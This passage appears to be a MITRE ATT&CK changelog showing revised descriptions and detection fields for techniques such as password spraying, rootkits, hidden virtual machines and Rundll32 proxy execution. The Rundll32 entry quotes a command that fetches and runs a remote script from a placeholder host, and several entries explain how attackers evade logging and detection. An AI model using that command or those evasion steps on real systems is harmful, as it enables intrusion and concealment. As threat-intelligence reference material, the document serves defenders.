Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices. + +Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) + +Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[T1571] Non-Standard Port

Current version: 1.3

Version changed from: 1.2 → 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:58.463000+00:002025-10-24 17:49:14.187000+00:00
x_mitre_detectionAnalyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)
x_mitre_version1.21.3

[T1110.003] Brute Force: Password Spraying

Current version: 1.8

Version changed from: 1.7 → 1.8

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may use a single or small list of commonly used t1Adversaries may use a single or small list of commonly used 
>passwords against many different accounts to attempt to acqu>passwords against many different accounts to attempt to acqu
>ire valid account credentials. Password spraying uses one pa>ire valid account credentials. Password spraying uses one pa
>ssword (e.g. 'Password01'), or a small list of commonly used>ssword (e.g. 'Password01'), or a small list of commonly used
> passwords, that may match the complexity policy of the doma> passwords, that may match the complexity policy of the doma
>in. Logins are attempted with that password against many dif>in. Logins are attempted with that password against many dif
>ferent accounts on a network to avoid account lockouts that >ferent accounts on a network to avoid account lockouts that 
>would normally occur when brute forcing a single account wit>would normally occur when brute forcing a single account wit
>h many passwords. (Citation: BlackHillsInfosec Password Spra>h many passwords. (Citation: BlackHillsInfosec Password Spra
>ying)  Typically, management services over commonly used por>ying)  Typically, management services over commonly used por
>ts are used when password spraying. Commonly targeted servic>ts are used when password spraying. Commonly targeted servic
>es include the following:  * SSH (22/TCP) * Telnet (23/TCP) >es include the following:  * SSH (22/TCP) * Telnet (23/TCP) 
>* FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) *>* FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) *
> LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service> LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service
>s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T>s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T
>CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP>CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP
>) * VNC (5900/TCP)  In addition to management services, adve>) * VNC (5900/TCP)  In addition to management services, adve
>rsaries may "target single sign-on (SSO) and cloud-based app>rsaries may "target single sign-on (SSO) and cloud-based app
>lications utilizing federated authentication protocols," as >lications utilizing federated authentication protocols," as 
>well as externally facing email applications, such as Office>well as externally facing email applications, such as Office
> 365.(Citation: US-CERT TA18-068A 2018)  In default environm> 365.(Citation: US-CERT TA18-068A 2018)  In order to avoid d
>ents, LDAP and Kerberos connection attempts are less likely >etection thresholds, adversaries may deliberately throttle p
>to trigger events over SMB, which creates Windows "logon fai>assword spraying attempts to avoid triggering security alert
>lure" event ID 4625.>ing. Additionally, adversaries may leverage LDAP and Kerbero
 >authentication attempts, which are less likely to trigger 
 >high-visibility events such as Windows "logon failure" event
 > ID 4625 that is commonly triggered by failed SMB connection
 > attempts.(Citation: Microsoft Storm-0940)  

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:38.420000+00:002025-10-24 17:48:53.996000+00:00
descriptionAdversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) + +Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: + +* SSH (22/TCP) +* Telnet (23/TCP) +* FTP (21/TCP) +* NetBIOS / SMB / Samba (139/TCP & 445/TCP) +* LDAP (389/TCP) +* Kerberos (88/TCP) +* RDP / Terminal Services (3389/TCP) +* HTTP/HTTP Management Services (80/TCP & 443/TCP) +* MSSQL (1433/TCP) +* Oracle (1521/TCP) +* MySQL (3306/TCP) +* VNC (5900/TCP) + +In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) + +In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) + +Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: + +* SSH (22/TCP) +* Telnet (23/TCP) +* FTP (21/TCP) +* NetBIOS / SMB / Samba (139/TCP & 445/TCP) +* LDAP (389/TCP) +* Kerberos (88/TCP) +* RDP / Terminal Services (3389/TCP) +* HTTP/HTTP Management Services (80/TCP & 443/TCP) +* MSSQL (1433/TCP) +* Oracle (1521/TCP) +* MySQL (3306/TCP) +* VNC (5900/TCP) + +In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) + +In order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows "logon failure" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940)
x_mitre_detectionMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. + +Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying) + +* Domain Controllers: "Audit Logon" (Success & Failure) for event ID 4625. +* Domain Controllers: "Audit Kerberos Authentication Service" (Success & Failure) for event ID 4771. +* All systems: "Audit Logon" (Success & Failure) for event ID 4648.
x_mitre_version1.71.8
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Microsoft Storm-0940', 'description': 'Microsoft Threat Intelligence. (2024, October 31). Chinese threat actor Storm-0940 uses credentials from password spray attacks from a covert network. Retrieved June 4, 2025.', 'url': 'https://www.microsoft.com/en-us/security/blog/2024/10/31/chinese-threat-actor-storm-0940-uses-credentials-from-password-spray-attacks-from-a-covert-network/'}

[T1070.010] Indicator Removal: Relocate Malware

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Once a payload is delivered, adversaries may reproduce copiet1Once a payload is delivered, adversaries may reproduce copie
>s of the same malware on the victim system to remove evidenc>s of the same malware on the victim system to remove evidenc
>e of their presence and/or avoid defenses. Copying malware p>e of their presence and/or avoid defenses. Copying malware p
>ayloads to new locations may also be combined with [File Del>ayloads to new locations may also be combined with [File Del
>etion](https://attack.mitre.org/techniques/T1070/004) to cle>etion](https://attack.mitre.org/techniques/T1070/004) to cle
>anup older artifacts.  Relocating malware may be a part of m>anup older artifacts.  Relocating malware may be a part of m
>any actions intended to evade defenses. For example, adversa>any actions intended to evade defenses. For example, adversa
>ries may copy and rename payloads to better blend into the l>ries may copy and rename payloads to better blend into the l
>ocal environment (i.e., [Match Legitimate Resource Name or L>ocal environment (i.e., [Match Legitimate Resource Name or L
>ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci>ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci
>tation: DFIR Report Trickbot June 2023) Payloads may also be>tation: DFIR Report Trickbot June 2023) Payloads may also be
> repositioned to target [File/Path Exclusions](https://attac> repositioned to target [File/Path Exclusions](https://attac
>k.mitre.org/techniques/T1564/012) as well as specific locati>k.mitre.org/techniques/T1564/012) as well as specific locati
>ons associated with establishing [Persistence](https://attac>ons associated with establishing [Persistence](https://attac
>k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)>k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)
>  Relocating malicious payloads may also hinder defensive an>  Relocating malicious payloads may also hinder defensive an
>alysis, especially to separate these payloads from earlier e>alysis, especially to separate these payloads from earlier e
>vents (such as [User Execution](https://attack.mitre.org/tec>vents (such as [User Execution](https://attack.mitre.org/tec
>hniques/T1204) and [Phishing](https://attack.mitre.org/techn>hniques/T1204) and [Phishing](https://attack.mitre.org/techn
>iques/T1566)) that may have generated alerts or otherwise dr>iques/T1566)) that may have generated alerts or otherwise dr
>awn attention from defenders.>awn attention from defenders. Moving payloads into target di
 >rectories does not alter the Creation timestamp, thereby eva
 >ding detection logic reliant on modifications to this artifa
 >ct (i.e., [Timestomp](https://attack.mitre.org/techniques/T1
 >070/006)).

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:08.329000+00:002025-10-05 16:08:40.119000+00:00
descriptionOnce a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts. + +Relocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) + +Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders.Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts. + +Relocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) + +Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders. Moving payloads into target directories does not alter the Creation timestamp, thereby evading detection logic reliant on modifications to this artifact (i.e., [Timestomp](https://attack.mitre.org/techniques/T1070/006)).
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsGregory Frey

[T1021.001] Remote Services: Remote Desktop Protocol

Current version: 1.4

Version changed from: 1.3 → 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Logon Session: Logon Session Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:18.689000+00:002025-10-24 17:49:33.524000+00:00
x_mitre_detectionUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
x_mitre_version1.31.4

[T1014] Rootkit

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may use rootkits to hide the presence of programt1Adversaries may use rootkits to hide the presence of program
>s, files, network connections, services, drivers, and other >s, files, network connections, services, drivers, and other 
>system components. Rootkits are programs that hide the exist>system components. Rootkits are programs that hide the exist
>ence of malware by intercepting/hooking and modifying operat>ence of malware by intercepting/hooking and modifying operat
>ing system API calls that supply system information. (Citati>ing system API calls that supply system information. (Citati
>on: Symantec Windows Rootkits)   Rootkits or rootkit enablin>on: Symantec Windows Rootkits)   Rootkits or rootkit enablin
>g functionality may reside at the user or kernel level in th>g functionality may reside at the user or kernel level in th
>e operating system or lower, to include a hypervisor, Master>e operating system or lower, to include a hypervisor or [Sys
> Boot Record, or [System Firmware](https://attack.mitre.org/>tem Firmware](https://attack.mitre.org/techniques/T1542/001)
>techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkit>. (Citation: Wikipedia Rootkit) Rootkits have been seen for 
>s have been seen for Windows, Linux, and Mac OS X systems. (>Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike
>Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac> Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)  Rootki
> OSX Rootkit)>ts that reside or modify boot sectors are known as [Bootkit]
 >(https://attack.mitre.org/techniques/T1542/003)s and specifi
 >cally target the boot process of the operating system.

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Menachem Goldstein']
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Drive: Drive Modification', 'Firmware: Firmware Modification', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:15.308000+00:002025-10-24 17:48:24.032000+00:00
descriptionAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) + +Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) + +Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) + +Rootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionSome rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)
x_mitre_version1.21.3

[T1564.006] Hide Artifacts: Run Virtual Instance

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may carry out malicious operations using a virtut1Adversaries may carry out malicious operations using a virtu
>al instance to avoid detection. A wide variety of virtualiza>al instance to avoid detection. A wide variety of virtualiza
>tion technologies exist that allow for the emulation of a co>tion technologies exist that allow for the emulation of a co
>mputer or computing environment. By running malicious code i>mputer or computing environment. By running malicious code i
>nside of a virtual instance, adversaries can hide artifacts >nside of a virtual instance, adversaries can hide artifacts 
>associated with their behavior from security tools that are >associated with their behavior from security tools that are 
>unable to monitor activity inside the virtual instance.(Cita>unable to monitor activity inside the virtual instance.(Cita
>tion: CyberCX Akira Ransomware) Additionally, depending on t>tion: CyberCX Akira Ransomware) Additionally, depending on t
>he virtual networking implementation (ex: bridged adapter), >he virtual networking implementation (ex: bridged adapter), 
>network traffic generated by the virtual instance can be dif>network traffic generated by the virtual instance can be dif
>ficult to trace back to the compromised host as the IP addre>ficult to trace back to the compromised host as the IP addre
>ss and hostname might not match known values.(Citation: Sing>ss and hostname might not match known values.(Citation: Sing
>Health Breach Jan 2019)  Adversaries may utilize native supp>Health Breach Jan 2019)  Adversaries may utilize native supp
>ort for virtualization (ex: Hyper-V) or drop the necessary f>ort for virtualization (ex: Hyper-V), deploy lightweight emu
>iles to run a virtual instance (ex: VirtualBox binaries). Af>lators (ex: QEMU), or drop the necessary files to run a virt
>ter running a virtual instance, adversaries may create a sha>ual instance (ex: VirtualBox binaries).(Citation: Securonix 
>red folder between the guest and host with permissions that >CronTrap 2024) After running a virtual instance, adversaries
>enable the virtual instance to interact with the host file s> may create a shared folder between the guest and host with 
>ystem.(Citation: Sophos Ragnar May 2020)  In VMWare environm>permissions that enable the virtual instance to interact wit
>ents, adversaries may leverage the vCenter console to create>h the host file system.(Citation: Sophos Ragnar May 2020)  T
> new virtual machines. However, they may also create virtual>hreat actors may also leverage temporary virtualized environ
> machines directly on ESXi servers by running a valid `.vmx`>ments such as the Windows Sandbox, which supports the use of
> file with the `/bin/vmx` utility. Adding this command to `/> `.wsb` configuration files for defining execution parameter
>etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.>s. For example, the `<MappedFolder>` property supports the c
>mitre.org/techniques/T1037/004)) will cause the VM to persis>reation of a shared folder, while the `<LogonCommand>` prope
>tently restart.(Citation: vNinja Rogue VMs 2024) Creating a >rty allows the specification of a payload.(Citation: ESET Mi
>VM this way prevents it from appearing in the vCenter consol>rrorFace 2025)  In VMWare environments, adversaries may leve
>e or in the output to the `vim-cmd vmsvc/getallvms` command >rage the vCenter console to create new virtual machines. How
>on the ESXi server, thereby hiding it from typical administr>ever, they may also create virtual machines directly on ESXi
>ative activities.(Citation: MITRE VMware Abuse 2024)> servers by running a valid `.vmx` file with the `/bin/vmx` 
 >utility. Adding this command to `/etc/rc.local.d/local.sh` (
 >i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037
 >/004)) will cause the VM to persistently restart.(Citation: 
 >vNinja Rogue VMs 2024) Creating a VM this way prevents it fr
 >om appearing in the vCenter console or in the output to the 
 >`vim-cmd vmsvc/getallvms` command on the ESXi server, thereb
 >y hiding it from typical administrative activities.(Citation
 >: MITRE VMware Abuse 2024)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'Image: Image Metadata', 'Service: Service Creation', 'Process: Process Creation', 'File: File Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:59.831000+00:002025-10-24 17:49:15.607000+00:00
descriptionAdversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) + +Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020) + +In VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037/004)) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024)Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) + +Adversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries).(Citation: Securonix CronTrap 2024) After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020) + +Threat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the `` property supports the creation of a shared folder, while the `` property allows the specification of a payload.(Citation: ESET MirrorFace 2025) + +In VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037/004)) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionConsider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances. + +Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages "all"). + +Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. + +Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'ESET MirrorFace 2025', 'description': ' Dominik Breitenbacher. (2025, March 18). Operation AkaiRyū: MirrorFace invites Europe to Expo 2025 and revives ANEL backdoor. Retrieved May 22, 2025.', 'url': 'https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/'}
external_references{'source_name': 'Securonix CronTrap 2024', 'description': 'Den Iuzvyk and Tim Peck. (2024, November 4). CRON#TRAP: Emulated Linux Environments as the Latest Tactic in Malware Staging. Retrieved May 22, 2025.', 'url': 'https://www.securonix.com/blog/crontrap-emulated-linux-environments-as-the-latest-tactic-in-malware-staging/'}
x_mitre_contributorsEnis Aksu
x_mitre_contributorsSatoshi Kamekawa, ITOCHU Cyber & Intelligence Inc.
x_mitre_contributorsYusuke Niwa, ITOCHU Cyber & Intelligence Inc.
x_mitre_contributorsShuhei Sasada, ITOCHU Cyber & Intelligence Inc.
x_mitre_contributorsJiraput Thamsongkrah
x_mitre_contributorsPurinut Wongwaiwuttiguldej
x_mitre_contributorsNatthawut Saexu

[T1218.011] System Binary Proxy Execution: Rundll32

Current version: 2.5

Version changed from: 2.4 → 2.5

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may abuse rundll32.exe to proxy execution of malt1Adversaries may abuse rundll32.exe to proxy execution of mal
>icious code. Using rundll32.exe, vice executing directly (i.>icious code. Using rundll32.exe, vice executing directly (i.
>e. [Shared Modules](https://attack.mitre.org/techniques/T112>e. [Shared Modules](https://attack.mitre.org/techniques/T112
>9)), may avoid triggering security tools that may not monito>9)), may avoid triggering security tools that may not monito
>r execution of the rundll32.exe process because of allowlist>r execution of the rundll32.exe process because of allowlist
>s or false positives from normal operations. Rundll32.exe is>s or false positives from normal operations. Rundll32.exe is
> commonly associated with executing DLL payloads (ex: <code>> commonly associated with executing DLL payloads (ex: <code>
>rundll32.exe {DLLname, DLLfunction}</code>).  Rundll32.exe c>rundll32.exe {DLLname, DLLfunction}</code>).  Rundll32.exe c
>an also be used to execute [Control Panel](https://attack.mi>an also be used to execute [Control Panel](https://attack.mi
>tre.org/techniques/T1218/002) Item files (.cpl) through the >tre.org/techniques/T1218/002) Item files (.cpl) through the 
>undocumented shell32.dll functions <code>Control_RunDLL</cod>undocumented shell32.dll functions <code>Control_RunDLL</cod
>e> and <code>Control_RunDLLAsUser</code>. Double-clicking a >e> and <code>Control_RunDLLAsUser</code>. Double-clicking a 
>.cpl file also causes rundll32.exe to execute.(Citation: Tre>.cpl file also causes rundll32.exe to execute.(Citation: Tre
>nd Micro CPL) For example, [ClickOnce](https://attack.mitre.>nd Micro CPL) For example, [ClickOnce](https://attack.mitre.
>org/techniques/T1127/002) can be proxied through Rundll32.ex>org/techniques/T1127/002) can be proxied through Rundll32.ex
>e.  Rundll32 can also be used to execute scripts such as Jav>e.  Rundll32 can also be used to execute scripts such as Jav
>aScript. This can be done using a syntax similar to this: <c>aScript. This can be done using a syntax similar to this: <c
>ode>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ">ode>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication "
>;document.write();GetObject("script:https[:]//www[.]example[>;document.write();GetObject("script:https[:]//www[.]example[
>.]com/malicious.sct")"</code>  This behavior has been seen u>.]com/malicious.sct")"</code>  This behavior has been seen u
>sed by malware such as Poweliks. (Citation: This is Security>sed by malware such as Poweliks.(Citation: This is Security 
> Command Line Confusion)  Adversaries may also attempt to ob>Command Line Confusion)  Threat actors may also abuse legiti
>scure malicious code from analysis by abusing the manner in >mate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.d
>which rundll32.exe loads DLL function names. As part of Wind>ll</code>) with <code>rundll32.exe</code> to execute malicio
>ows compatibility support for various character sets, rundll>us programs or scripts indirectly, making their activity app
>32.exe will first check for wide/Unicode then ANSI character>ear more legitimate and evading detection.(Citation: lolbas 
>-supported functions before loading the specified function (>project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)  
>e.g., given the command <code>rundll32.exe ExampleDLL.dll, E>Adversaries may also attempt to obscure malicious code from 
>xampleFunction</code>, rundll32.exe would first attempt to e>analysis by abusing the manner in which rundll32.exe loads D
>xecute <code>ExampleFunctionW</code>, or failing that <code>>LL function names. As part of Windows compatibility support 
>ExampleFunctionA</code>, before loading <code>ExampleFunctio>for various character sets, rundll32.exe will first check fo
>n</code>). Adversaries may therefore obscure malicious code >r wide/Unicode then ANSI character-supported functions befor
>by creating multiple identical exported function names and a>e loading the specified function (e.g., given the command <c
>ppending <code>W</code> and/or <code>A</code> to harmless on>ode>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, run
>es.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Gi>dll32.exe would first attempt to execute <code>ExampleFuncti
>thub NoRunDll) DLL functions can also be exported and execut>onW</code>, or failing that <code>ExampleFunctionA</code>, b
>ed by an ordinal number (ex: <code>rundll32.exe file.dll,#1<>efore loading <code>ExampleFunction</code>). Adversaries may
>/code>).  Additionally, adversaries may use [Masquerading](h> therefore obscure malicious code by creating multiple ident
>ttps://attack.mitre.org/techniques/T1036) techniques (such a>ical exported function names and appending <code>W</code> an
>s changing DLL file names, file extensions, or function name>d/or <code>A</code> to harmless ones.(Citation: Attackify Ru
>s) to further conceal execution of a malicious payload.(Cita>ndll32.exe Obscurity)(Citation: Github NoRunDll) DLL functio
>tion: rundll32.exe defense evasion) >ns can also be exported and executed by an ordinal number (e
